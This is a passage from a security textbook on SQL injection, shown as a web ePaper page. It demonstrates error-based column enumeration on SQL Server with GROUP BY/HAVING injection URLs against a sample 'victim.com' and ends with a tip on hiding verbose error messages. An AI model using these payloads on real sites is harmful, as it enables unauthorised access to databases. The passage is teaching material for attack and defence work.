28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

166 Chapter 4 • Exploiting <strong>SQL</strong> <strong>Injection</strong><br />

[Microsoft][ODBC <strong>SQL</strong> Server Driver][<strong>SQL</strong> Server]Column 'products.id' is<br />

invalid in the select list because it is not contained in either an<br />

aggregate function or the GROUP BY clause.<br />

/products.asp, line 233<br />

The error message contains the names of the products table <strong>and</strong> of the id column, which<br />

is the first column used in the SELECT. To move to the second column, we simply need to<br />

add a GROUP BY clause with the name of the column we just discovered:<br />

http://www.victim.com/products.asp?id=1+group+by+products.id+having+1=1<br />

We now receive another error message:<br />

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'<br />

[Microsoft][ODBC <strong>SQL</strong> Server Driver][<strong>SQL</strong> Server]Column 'products.name' is<br />

invalid in the select list because it is not contained in either an<br />

aggregate function or the GROUP BY clause.<br />

/shop.asp, line 233<br />

Because the first column is now part of the GROUP BY clause, the error is triggered<br />

by the second column: products.name. The next step is to add this column to the GROUP BY<br />

without removing the previous one:<br />

http://www.victim.com/shop.asp?item=1+group+by+products.id,<br />

products.name+having+1=1<br />

By simply repeating this procedure until we get no more errors, we can easily enumerate<br />

all columns.<br />

Tip<br />

As you can see from the examples so far, verbose error messages can be<br />

extremely useful to an attacker. If you are responsible for a Web application,<br />

make sure it is configured so that when something goes wrong it returns<br />

only a custom HTML page that contains a very generic error message for the<br />

users. Detailed error messages should be available only to the developers <strong>and</strong><br />

administrators of a Web application.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!